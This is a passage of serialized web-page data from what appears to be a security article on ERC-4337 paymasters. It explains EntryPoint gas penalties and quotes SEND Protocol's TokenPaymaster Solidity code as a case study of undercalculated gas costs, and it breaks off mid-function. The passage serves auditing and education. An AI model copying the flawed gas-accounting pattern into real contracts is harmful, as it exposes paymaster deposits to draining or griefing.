accounting",{"type":25,"tag":6948,"props":103855,"children":103856},{},[103857],{"type":31,"value":103858},"Process any refunds or additional charges",{"type":25,"tag":6948,"props":103860,"children":103861},{},[103862],{"type":31,"value":103863},"Complete any paymaster-specific logic",{"type":25,"tag":6948,"props":103865,"children":103866},{},[103867,103869,103874,103875,103882,103884],{"type":31,"value":103868},"Finally, after all operations are processed, the ",{"type":25,"tag":115,"props":103870,"children":103872},{"className":103871},[],[103873],{"type":31,"value":103347},{"type":31,"value":7966},{"type":25,"tag":71,"props":103876,"children":103879},{"href":103877,"rel":103878},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[75],[103880],{"type":31,"value":103881},"compensates",{"type":31,"value":103883}," the bundler for:\n",{"type":25,"tag":18183,"props":103885,"children":103886},{},[103887,103892,103897],{"type":25,"tag":6948,"props":103888,"children":103889},{},[103890],{"type":31,"value":103891},"Gas costs from executing all operations",{"type":25,"tag":6948,"props":103893,"children":103894},{},[103895],{"type":31,"value":103896},"Overhead from submitting the batch transaction",{"type":25,"tag":6948,"props":103898,"children":103899},{},[103900],{"type":31,"value":103901},"Any unused gas, which is refunded",{"type":25,"tag":34,"props":103903,"children":103904},{},[103905],{"type":31,"value":103906},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":25,"tag":34,"props":103908,"children":103909},{},[103910,103912,103917,103919,103925,103927,103932],{"type":31,"value":103911},"Now that we understand how the ",{"type":25,"tag":115,"props":103913,"children":103915},{"className":103914},[],[103916],{"type":31,"value":103347},{"type":31,"value":103918}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":25,"tag":115,"props":103920,"children":103922},{"className":103921},[],[103923],{"type":31,"value":103924},"paymasters",{"type":31,"value":103926}," that align with the ",{"type":25,"tag":115,"props":103928,"children":103930},{"className":103929},[],[103931],{"type":31,"value":103347},{"type":31,"value":103933},"'s execution model, leading to potential vulnerabilities.",{"type":25,"tag":4321,"props":103935,"children":103937},{"id":103936},"common-pitfalls-in-paymaster-implementation",[103938],{"type":31,"value":103939},"Common Pitfalls in Paymaster Implementation",{"type":25,"tag":34,"props":103941,"children":103942},{},[103943,103945,103950],{"type":31,"value":103944},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":25,"tag":115,"props":103946,"children":103948},{"className":103947},[],[103949],{"type":31,"value":103347},{"type":31,"value":103951}," to exploitation or griefing.",{"type":25,"tag":34,"props":103953,"children":103954},{},[103955,103957,103962],{"type":31,"value":103956},"In this section, we’ll walk through the ",{"type":25,"tag":1252,"props":103958,"children":103959},{},[103960],{"type":31,"value":103961},"two most common pitfalls",{"type":31,"value":103963}," we’ve observed in real-world paymaster implementations:",{"type":25,"tag":26,"props":103965,"children":103967},{"id":103966},"undercalculated-gas-costs",[103968],{"type":25,"tag":1252,"props":103969,"children":103970},{},[103971],{"type":31,"value":103972},"Undercalculated Gas Costs",{"type":25,"tag":34,"props":103974,"children":103975},{},[103976,103978,103983,103985,103990,103992,103997,103999,104006],{"type":31,"value":103977},"To understand this issue, let's first examine how gas penalties work in the ",{"type":25,"tag":115,"props":103979,"children":103981},{"className":103980},[],[103982],{"type":31,"value":103347},{"type":31,"value":103984},". When a ",{"type":25,"tag":115,"props":103986,"children":103988},{"className":103987},[],[103989],{"type":31,"value":103266},{"type":31,"value":103991}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":25,"tag":115,"props":103993,"children":103995},{"className":103994},[],[103996],{"type":31,"value":103347},{"type":31,"value":103998}," charges a ",{"type":25,"tag":71,"props":104000,"children":104003},{"href":104001,"rel":104002},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[75],[104004],{"type":31,"value":104005},"penalty of 10%",{"type":31,"value":104007}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":25,"tag":34,"props":104009,"children":104010},{},[104011],{"type":31,"value":104012},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":25,"tag":191,"props":104014,"children":104016},{"className":5980,"code":104015,"language":5979,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[104017],{"type":25,"tag":115,"props":104018,"children":104019},{"__ignoreMap":7},[104020,104064,104071,104128,104136,104144,104186,104193,104205,104227,104248,104278,104329,104359,104380,104418,104457,104474,104513,104537,104554,104597,104619,104636,104653,104660,104667,104693,104710,104745,104776,104788,104835,104842,104849,104856,104923,104930,104937,104944,104955,104974,104993,105057,105080,105113,105128,105163,105171,105210,105235,105256,105264,105291,105318,105326,105334,105376,105383,105390,105414,105430,105437,105444,105462,105475,105482,105490],{"type":25,"tag":201,"props":104021,"children":104022},{"class":203,"line":204},[104023,104027,104032,104037,104042,104046,104051,104055,104060],{"type":25,"tag":201,"props":104024,"children":104025},{"style":208},[104026],{"type":31,"value":90898},{"type":25,"tag":201,"props":104028,"children":104029},{"style":4925},[104030],{"type":31,"value":104031}," TokenPaymaster",{"type":25,"tag":201,"props":104033,"children":104034},{"style":208},[104035],{"type":31,"value":104036}," is",{"type":25,"tag":201,"props":104038,"children":104039},{"style":4925},[104040],{"type":31,"value":104041}," BasePaymaster",{"type":25,"tag":201,"props":104043,"children":104044},{"style":220},[104045],{"type":31,"value":919},{"type":25,"tag":201,"props":104047,"children":104048},{"style":4925},[104049],{"type":31,"value":104050},"UniswapHelper",{"type":25,"tag":201,"props":104052,"children":104053},{"style":220},[104054],{"type":31,"value":919},{"type":25,"tag":201,"props":104056,"children":104057},{"style":4925},[104058],{"type":31,"value":104059},"OracleHelper",{"type":25,"tag":201,"props":104061,"children":104062},{"style":220},[104063],{"type":31,"value":327},{"type":25,"tag":201,"props":104065,"children":104066},{"class":203,"line":226},[104067],{"type":25,"tag":201,"props":104068,"children":104069},{"style":220},[104070],{"type":31,"value":11821},{"type":25,"tag":201,"props":104072,"children":104073},{"class":203,"line":278},[104074,104078,104083,104087,104092,104097,104102,104106,104111,104115,104119,104124],{"type":25,"tag":201,"props":104075,"children":104076},{"style":208},[104077],{"type":31,"value":90915},{"type":25,"tag":201,"props":104079,"children":104080},{"style":214},[104081],{"type":31,"value":104082}," _validatePaymasterUserOp",{"type":25,"tag":201,"props":104084,"children":104085},{"style":220},[104086],{"type":31,"value":298},{"type":25,"tag":201,"props":104088,"children":104089},{"style":208},[104090],{"type":31,"value":104091},"PackedUserOperation",{"type":25,"tag":201,"props":104093,"children":104094},{"style":208},[104095],{"type":31,"value":104096}," calldata",{"type":25,"tag":201,"props":104098,"children":104099},{"style":246},[104100],{"type":31,"value":104101}," userOp",{"type":25,"tag":201,"props":104103,"children":104104},{"style":220},[104105],{"type":31,"value":919},{"type":25,"tag":201,"props":104107,"children":104108},{"style":4925},[104109],{"type":31,"value":104110},"bytes32",{"type":25,"tag":201,"props":104112,"children":104113},{"style":220},[104114],{"type":31,"value":919},{"type":25,"tag":201,"props":104116,"children":104117},{"style":4925},[104118],{"type":31,"value":47244},{"type":25,"tag":201,"props":104120,"children":104121},{"style":246},[104122],{"type":31,"value":104123}," requiredPreFund",{"type":25,"tag":201,"props":104125,"children":104126},{"style":220},[104127],{"type":31,"value":4666},{"type":25,"tag":201,"props":104129,"children":104130},{"class":203,"line":311},[104131],{"type":25,"tag":201,"props":104132,"children":104133},{"style":208},[104134],{"type":31,"value":104135},"        internal\n",{"type":25,"tag":201,"props":104137,"children":104138},{"class":203,"line":330},[104139],{"type":25,"tag":201,"props":104140,"children":104141},{"style":208},[104142],{"type":31,"value":104143},"        override\n",{"type":25,"tag":201,"props":104145,"children":104146},{"class":203,"line":397},[104147,104152,104156,104160,104165,104169,104173,104177,104182],{"type":25,"tag":201,"props":104148,"children":104149},{"style":230},[104150],{"type":31,"value":104151},"        returns",{"type":25,"tag":201,"props":104153,"children":104154},{"style":220},[104155],{"type":31,"value":238},{"type":25,"tag":201,"props":104157,"children":104158},{"style":4925},[104159],{"type":31,"value":84912},{"type":25,"tag":201,"props":104161,"children":104162},{"style":208},[104163],{"type":31,"value":104164}," memory",{"type":25,"tag":201,"props":104166,"children":104167},{"style":246},[104168],{"type":31,"value":77424},{"type":25,"tag":201,"props":104170,"children":104171},{"style":220},[104172],{"type":31,"value":919},{"type":25,"tag":201,"props":104174,"children":104175},{"style":4925},[104176],{"type":31,"value":47244},{"type":25,"tag":201,"props":104178,"children":104179},{"style":246},[104180],{"type":31,"value":104181}," validationResult",{"type":25,"tag":201,"props":104183,"children":104184},{"style":220},[104185],{"type":31,"value":4666},{"type":25,"tag":201,"props":104187,"children":104188},{"class":203,"line":437},[104189],{"type":25,"tag":201,"props":104190,"children":104191},{"style":220},[104192],{"type":31,"value":30670},{"type":25,"tag":201,"props":104194,"children":104195},{"class":203,"line":464},[104196,104201],{"type":25,"tag":201,"props":104197,"children":104198},{"style":230},[104199],{"type":31,"value":104200},"        unchecked",{"type":25,"tag":201,"props":104202,"children":104203},{"style":220},[104204],{"type":31,"value":327},{"type":25,"tag":201,"props":104206,"children":104207},{"class":203,"line":490},[104208,104213,104218,104222],{"type":25,"tag":201,"props":104209,"children":104210},{"style":4925},[104211],{"type":31,"value":104212},"            uint256",{"type":25,"tag":201,"props":104214,"children":104215},{"style":220},[104216],{"type":31,"value":104217}," priceMarkup ",{"type":25,"tag":201,"props":104219,"children":104220},{"style":261},[104221],{"type":31,"value":1383},{"type":25,"tag":201,"props":104223,"children":104224},{"style":220},[104225],{"type":31,"value":104226}," tokenPaymasterConfig.priceMarkup;\n",{"type":25,"tag":201,"props":104228,"children":104229},{"class":203,"line":499},[104230,104234,104239,104243],{"type":25,"tag":201,"props":104231,"children":104232},{"style":4925},[104233],{"type":31,"value":104212},{"type":25,"tag":201,"props":104235,"children":104236},{"style":220},[104237],{"type":31,"value":104238}," baseFee ",{"type":25,"tag":201,"props":104240,"children":104241},{"style":261},[104242],{"type":31,"value":1383},{"type":25,"tag":201,"props":104244,"children":104245},{"style":220},[104246],{"type":31,"value":104247}," tokenPaymasterConfig.baseFee;\n",{"type":25,"tag":201,"props":104249,"children":104250},{"class":203,"line":522},[104251,104255,104260,104264,104269,104273],{"type":25,"tag":201,"props":104252,"children":104253},{"style":4925},[104254],{"type":31,"value":104212},{"type":25,"tag":201,"props":104256,"children":104257},{"style":220},[104258],{"type":31,"value":104259}," dataLength ",{"type":25,"tag":201,"props":104261,"children":104262},{"style":261},[104263],{"type":31,"value":1383},{"type":25,"tag":201,"props":104265,"children":104266},{"style":220},[104267],{"type":31,"value":104268}," userOp.paymasterAndData.length ",{"type":25,"tag":201,"props":104270,"children":104271},{"style":261},[104272],{"type":31,"value":5832},{"type":25,"tag":201,"props":104274,"children":104275},{"style":220},[104276],{"type":31,"value":104277}," PAYMASTER_DATA_OFFSET;\n",{"type":25,"tag":201,"props":104279,"children":104280},{"class":203,"line":531},[104281,104286,104291,104295,104299,104303,104307,104311,104316,104320,104325],{"type":25,"tag":201,"props":104282,"children":104283},{"style":230},[104284],{"type":31,"value":104285},"            require",{"type":25,"tag":201,"props":104287,"children":104288},{"style":220},[104289],{"type":31,"value":104290},"(dataLength ",{"type":25,"tag":201,"props":104292,"children":104293},{"style":261},[104294],{"type":31,"value":10083},{"type":25,"tag":201,"props":104296,"children":104297},{"style":426},[104298],{"type":31,"value":4554},{"type":25,"tag":201,"props":104300,"children":104301},{"style":261},[104302],{"type":31,"value":25192},{"type":25,"tag":201,"props":104304,"children":104305},{"style":220},[104306],{"type":31,"value":104259},{"type":25,"tag":201,"props":104308,"children":104309},{"style":261},[104310],{"type":31,"value":10083},{"type":25,"tag":201,"props":104312,"children":104313},{"style":426},[104314],{"type":31,"value":104315}," 32",{"type":25,"tag":201,"props":104317,"children":104318},{"style":220},[104319],{"type":31,"value":919},{"type":25,"tag":201,"props":104321,"children":104322},{"style":267},[104323],{"type":31,"value":104324},"\"TPM: invalid data length\"",{"type":25,"tag":201,"props":104326,"children":104327},{"style":220},[104328],{"type":31,"value":308},{"type":25,"tag":201,"props":104330,"children":104331},{"class":203,"line":550},[104332,104336,104341,104345,104350,104355],{"type":25,"tag":201,"props":104333,"children":104334},{"style":4925},[104335],{"type":31,"value":104212},{"type":25,"tag":201,"props":104337,"children":104338},{"style":220},[104339],{"type":31,"value":104340}," maxFeePerGas ",{"type":25,"tag":201,"props":104342,"children":104343},{"style":261},[104344],{"type":31,"value":1383},{"type":25,"tag":201,"props":104346,"children":104347},{"style":220},[104348],{"type":31,"value":104349}," userOp.",{"type":25,"tag":201,"props":104351,"children":104352},{"style":214},[104353],{"type":31,"value":104354},"unpackMaxFeePerGas",{"type":25,"tag":201,"props":104356,"children":104357},{"style":220},[104358],{"type":31,"value":1985},{"type":25,"tag":201,"props":104360,"children":104361},{"class":203,"line":563},[104362,104366,104371,104375],{"type":25,"tag":201,"props":104363,"children":104364},{"style":4925},[104365],{"type":31,"value":104212},{"type":25,"tag":201,"props":104367,"children":104368},{"style":220},[104369],{"type":31,"value":104370}," refundPostopCost ",{"type":25,"tag":201,"props":104372,"children":104373},{"style":261},[104374],{"type":31,"value":1383},{"type":25,"tag":201,"props":104376,"children":104377},{"style":220},[104378],{"type":31,"value":104379}," tokenPaymasterConfig.refundPostopCost;\n",{"type":25,"tag":201,"props":104381,"children":104382},{"class":203,"line":572},[104383,104387,104392,104396,104400,104405,104409,104414],{"type":25,"tag":201,"props":104384,"children":104385},{"style":230},[104386],{"type":31,"value":104285},{"type":25,"tag":201,"props":104388,"children":104389},{"style":220},[104390],{"type":31,"value":104391},"(refundPostopCost ",{"type":25,"tag":201,"props":104393,"children":104394},{"style":261},[104395],{"type":31,"value":1298},{"type":25,"tag":201,"props":104397,"children":104398},{"style":220},[104399],{"type":31,"value":104349},{"type":25,"tag":201,"props":104401,"children":104402},{"style":214},[104403],{"type":31,"value":104404},"unpackPostOpGasLimit",{"type":25,"tag":201,"props":104406,"children":104407},{"style":220},[104408],{"type":31,"value":19873},{"type":25,"tag":201,"props":104410,"children":104411},{"style":267},[104412],{"type":31,"value":104413},"\"TPM: postOpGasLimit too low\"",{"type":25,"tag":201,"props":104415,"children":104416},{"style":220},[104417],{"type":31,"value":308},{"type":25,"tag":201,"props":104419,"children":104420},{"class":203,"line":590},[104421,104425,104430,104434,104439,104443,104448,104452],{"type":25,"tag":201,"props":104422,"children":104423},{"style":4925},[104424],{"type":31,"value":104212},{"type":25,"tag":201,"props":104426,"children":104427},{"style":220},[104428],{"type":31,"value":104429}," preChargeNative ",{"type":25,"tag":201,"props":104431,"children":104432},{"style":261},[104433],{"type":31,"value":1383},{"type":25,"tag":201,"props":104435,"children":104436},{"style":220},[104437],{"type":31,"value":104438}," requiredPreFund ",{"type":25,"tag":201,"props":104440,"children":104441},{"style":261},[104442],{"type":31,"value":5886},{"type":25,"tag":201,"props":104444,"children":104445},{"style":220},[104446],{"type":31,"value":104447}," (refundPostopCost ",{"type":25,"tag":201,"props":104449,"children":104450},{"style":261},[104451],{"type":31,"value":6077},{"type":25,"tag":201,"props":104453,"children":104454},{"style":220},[104455],{"type":31,"value":104456}," maxFeePerGas);\n",{"type":25,"tag":201,"props":104458,"children":104459},{"class":203,"line":608},[104460,104465,104469],{"type":25,"tag":201,"props":104461,"children":104462},{"style":4497},[104463],{"type":31,"value":104464},"            // ",{"type":25,"tag":201,"props":104466,"children":104467},{"style":208},[104468],{"type":31,"value":67840},{"type":25,"tag":201,"props":104470,"children":104471},{"style":4497},[104472],{"type":31,"value":104473},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":25,"tag":201,"props":104475,"children":104476},{"class":203,"line":617},[104477,104481,104486,104490,104495,104499,104504,104508],{"type":25,"tag":201,"props":104478,"children":104479},{"style":4925},[104480],{"type":31,"value":104212},{"type":25,"tag":201,"props":104482,"children":104483},{"style":220},[104484],{"type":31,"value":104485}," cachedPriceWithMarkup ",{"type":25,"tag":201,"props":104487,"children":104488},{"style":261},[104489],{"type":31,"value":1383},{"type":25,"tag":201,"props":104491,"children":104492},{"style":220},[104493],{"type":31,"value":104494}," cachedPrice ",{"type":25,"tag":201,"props":104496,"children":104497},{"style":261},[104498],{"type":31,"value":6077},{"type":25,"tag":201,"props":104500,"children":104501},{"style":220},[104502],{"type":31,"value":104503}," DENOM ",{"type":25,"tag":201,"props":104505,"children":104506},{"style":261},[104507],{"type":31,"value":6087},{"type":25,"tag":201,"props":104509,"children":104510},{"style":220},[104511],{"type":31,"value":104512}," priceMarkup;\n",{"type":25,"tag":201,"props":104514,"children":104515},{"class":203,"line":625},[104516,104520,104525,104529,104533],{"type":25,"tag":201,"props":104517,"children":104518},{"style":230},[104519],{"type":31,"value":59880},{"type":25,"tag":201,"props":104521,"children":104522},{"style":220},[104523],{"type":31,"value":104524}," (dataLength ",{"type":25,"tag":201,"props":104526,"children":104527},{"style":261},[104528],{"type":31,"value":10083},{"type":25,"tag":201,"props":104530,"children":104531},{"style":426},[104532],{"type":31,"value":104315},{"type":25,"tag":201,"props":104534,"children":104535},{"style":220},[104536],{"type":31,"value":275},{"type":25,"tag":201,"props":104538,"children":104539},{"class":203,"line":642},[104540,104545,104550],{"type":25,"tag":201,"props":104541,"children":104542},{"style":4925},[104543],{"type":31,"value":104544},"                uint256",{"type":25,"tag":201,"props":104546,"children":104547},{"style":220},[104548],{"type":31,"value":104549}," clientSuppliedPrice ",{"type":25,"tag":201,"props":104551,"children":104552},{"style":261},[104553],{"type":31,"value":16194},{"type":25,"tag":201,"props":104555,"children":104556},{"class":203,"line":659},[104557,104562,104566,104570,104575,104579,104584,104588,104592],{"type":25,"tag":201,"props":104558,"children":104559},{"style":4925},[104560],{"type":31,"value":104561},"                    uint256",{"type":25,"tag":201,"props":104563,"children":104564},{"style":220},[104565],{"type":31,"value":298},{"type":25,"tag":201,"props":104567,"children":104568},{"style":4925},[104569],{"type":31,"value":104110},{"type":25,"tag":201,"props":104571,"children":104572},{"style":220},[104573],{"type":31,"value":104574},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":25,"tag":201,"props":104576,"children":104577},{"style":261},[104578],{"type":31,"value":5997},{"type":25,"tag":201,"props":104580,"children":104581},{"style":220},[104582],{"type":31,"value":104583},"PAYMASTER_DATA_OFFSET ",{"type":25,"tag":201,"props":104585,"children":104586},{"style":261},[104587],{"type":31,"value":5886},{"type":25,"tag":201,"props":104589,"children":104590},{"style":426},[104591],{"type":31,"value":104315},{"type":25,"tag":201,"props":104593,"children":104594},{"style":220},[104595],{"type":31,"value":104596},"]));\n",{"type":25,"tag":201,"props":104598,"children":104599},{"class":203,"line":667},[104600,104605,104610,104614],{"type":25,"tag":201,"props":104601,"children":104602},{"style":230},[104603],{"type":31,"value":104604},"                if",{"type":25,"tag":201,"props":104606,"children":104607},{"style":220},[104608],{"type":31,"value":104609}," (clientSuppliedPrice ",{"type":25,"tag":201,"props":104611,"children":104612},{"style":261},[104613],{"type":31,"value":1298},{"type":25,"tag":201,"props":104615,"children":104616},{"style":220},[104617],{"type":31,"value":104618}," cachedPriceWithMarkup) {\n",{"type":25,"tag":201,"props":104620,"children":104621},{"class":203,"line":676},[104622,104627,104631],{"type":25,"tag":201,"props":104623,"children":104624},{"style":4497},[104625],{"type":31,"value":104626},"                    // ",{"type":25,"tag":201,"props":104628,"children":104629},{"style":208},[104630],{"type":31,"value":67840},{"type":25,"tag":201,"props":104632,"children":104633},{"style":4497},[104634],{"type":31,"value":104635},": smaller number means 'more native asset per token'\n",{"type":25,"tag":201,"props":104637,"children":104638},{"class":203,"line":694},[104639,104644,104648],{"type":25,"tag":201,"props":104640,"children":104641},{"style":220},[104642],{"type":31,"value":104643},"                    cachedPriceWithMarkup ",{"type":25,"tag":201,"props":104645,"children":104646},{"style":261},[104647],{"type":31,"value":1383},{"type":25,"tag":201,"props":104649,"children":104650},{"style":220},[104651],{"type":31,"value":104652}," clientSuppliedPrice;\n",{"type":25,"tag":201,"props":104654,"children":104655},{"class":203,"line":707},[104656],{"type":25,"tag":201,"props":104657,"children":104658},{"style":220},[104659],{"type":31,"value":72153},{"type":25,"tag":201,"props":104661,"children":104662},{"class":203,"line":715},[104663],{"type":25,"tag":201,"props":104664,"children":104665},{"style":220},[104666],{"type":31,"value":59964},{"type":25,"tag":201,"props":104668,"children":104669},{"class":203,"line":732},[104670,104674,104679,104683,104688],{"type":25,"tag":201,"props":104671,"children":104672},{"style":4925},[104673],{"type":31,"value":104212},{"type":25,"tag":201,"props":104675,"children":104676},{"style":220},[104677],{"type":31,"value":104678}," tokenAmount ",{"type":25,"tag":201,"props":104680,"children":104681},{"style":261},[104682],{"type":31,"value":1383},{"type":25,"tag":201,"props":104684,"children":104685},{"style":214},[104686],{"type":31,"value":104687}," weiToToken",{"type":25,"tag":201,"props":104689,"children":104690},{"style":220},[104691],{"type":31,"value":104692},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":201,"props":104694,"children":104695},{"class":203,"line":749},[104696,104701,104705],{"type":25,"tag":201,"props":104697,"children":104698},{"style":220},[104699],{"type":31,"value":104700},"            tokenAmount ",{"type":25,"tag":201,"props":104702,"children":104703},{"style":261},[104704],{"type":31,"value":69519},{"type":25,"tag":201,"props":104706,"children":104707},{"style":220},[104708],{"type":31,"value":104709}," baseFee;\n",{"type":25,"tag":201,"props":104711,"children":104712},{"class":203,"line":757},[104713,104718,104723,104728,104732,104736,104740],{"type":25,"tag":201,"props":104714,"children":104715},{"style":220},[104716],{"type":31,"value":104717},"            SafeERC20.",{"type":25,"tag":201,"props":104719,"children":104720},{"style":214},[104721],{"type":31,"value":104722},"safeTransferFrom",{"type":25,"tag":201,"props":104724,"children":104725},{"style":220},[104726],{"type":31,"value":104727},"(token, userOp.sender, ",{"type":25,"tag":201,"props":104729,"children":104730},{"style":4925},[104731],{"type":31,"value":1567},{"type":25,"tag":201,"props":104733,"children":104734},{"style":220},[104735],{"type":31,"value":298},{"type":25,"tag":201,"props":104737,"children":104738},{"style":208},[104739],{"type":31,"value":19190},{"type":25,"tag":201,"props":104741,"children":104742},{"style":220},[104743],{"type":31,"value":104744},"), tokenAmount);\n",{"type":25,"tag":201,"props":104746,"children":104747},{"class":203,"line":765},[104748,104753,104757,104762,104766,104771],{"type":25,"tag":201,"props":104749,"children":104750},{"style":220},[104751],{"type":31,"value":104752},"            context ",{"type":25,"tag":201,"props":104754,"children":104755},{"style":261},[104756],{"type":31,"value":1383},{"type":25,"tag":201,"props":104758,"children":104759},{"style":208},[104760],{"type":31,"value":104761}," abi",{"type":25,"tag":201,"props":104763,"children":104764},{"style":220},[104765],{"type":31,"value":80},{"type":25,"tag":201,"props":104767,"children":104768},{"style":214},[104769],{"type":31,"value":104770},"encode",{"type":25,"tag":201,"props":104772,"children":104773},{"style":220},[104774],{"type":31,"value":104775},"(tokenAmount, userOp.sender);\n",{"type":25,"tag":201,"props":104777,"children":104778},{"class":203,"line":783},[104779,104784],{"type":25,"tag":201,"props":104780,"children":104781},{"style":220},[104782],{"type":31,"value":104783},"            validationResult ",{"type":25,"tag":201,"props":104785,"children":104786},{"style":261},[104787],{"type":31,"value":16194},{"type":25,"tag":201,"props":104789,"children":104790},{"class":203,"line":792},[104791,104796,104800,104804,104808,104813,104818,104822,104827,104831],{"type":25,"tag":201,"props":104792,"children":104793},{"style":214},[104794],{"type":31,"value":104795},"                _packValidationData",{"type":25,"tag":201,"props":104797,"children":104798},{"style":220},[104799],{"type":31,"value":298},{"type":25,"tag":201,"props":104801,"children":104802},{"style":208},[104803],{"type":31,"value":9683},{"type":25,"tag":201,"props":104805,"children":104806},{"style":220},[104807],{"type":31,"value":919},{"type":25,"tag":201,"props":104809,"children":104810},{"style":4925},[104811],{"type":31,"value":104812},"uint48",{"type":25,"tag":201,"props":104814,"children":104815},{"style":220},[104816],{"type":31,"value":104817},"(cachedPriceTimestamp ",{"type":25,"tag":201,"props":104819,"children":104820},{"style":261},[104821],{"type":31,"value":5886},{"type":25,"tag":201,"props":104823,"children":104824},{"style":220},[104825],{"type":31,"value":104826}," tokenPaymasterConfig.priceMaxAge), ",{"type":25,"tag":201,"props":104828,"children":104829},{"style":426},[104830],{"type":31,"value":429},{"type":25,"tag":201,"props":104832,"children":104833},{"style":220},[104834],{"type":31,"value":308},{"type":25,"tag":201,"props":104836,"children":104837},{"class":203,"line":801},[104838],{"type":25,"tag":201,"props":104839,"children":104840},{"style":220},[104841],{"type":31,"value":4853},{"type":25,"tag":201,"props":104843,"children":104844},{"class":203,"line":809},[104845],{"type":25,"tag":201,"props":104846,"children":104847},{"style":220},[104848],{"type":31,"value":4861},{"type":25,"tag":201,"props":104850,"children":104851},{"class":203,"line":857},[104852],{"type":25,"tag":201,"props":104853,"children":104854},{"style":220},[104855],{"type":31,"value":11821},{"type":25,"tag":201,"props":104857,"children":104858},{"class":203,"line":865},[104859,104863,104868,104872,104877,104881,104885,104889,104893,104897,104901,104906,104910,104914,104919],{"type":25,"tag":201,"props":104860,"children":104861},{"style":208},[104862],{"type":31,"value":90915},{"type":25,"tag":201,"props":104864,"children":104865},{"style":214},[104866],{"type":31,"value":104867}," _postOp",{"type":25,"tag":201,"props":104869,"children":104870},{"style":220},[104871],{"type":31,"value":298},{"type":25,"tag":201,"props":104873,"children":104874},{"style":208},[104875],{"type":31,"value":104876},"PostOpMode",{"type":25,"tag":201,"props":104878,"children":104879},{"style":220},[104880],{"type":31,"value":919},{"type":25,"tag":201,"props":104882,"children":104883},{"style":4925},[104884],{"type":31,"value":84912},{"type":25,"tag":201,"props":104886,"children":104887},{"style":208},[104888],{"type":31,"value":104096},{"type":25,"tag":201,"props":104890,"children":104891},{"style":246},[104892],{"type":31,"value":77424},{"type":25,"tag":201,"props":104894,"children":104895},{"style":220},[104896],{"type":31,"value":919},{"type":25,"tag":201,"props":104898,"children":104899},{"style":4925},[104900],{"type":31,"value":47244},{"type":25,"tag":201,"props":104902,"children":104903},{"style":246},[104904],{"type":31,"value":104905}," 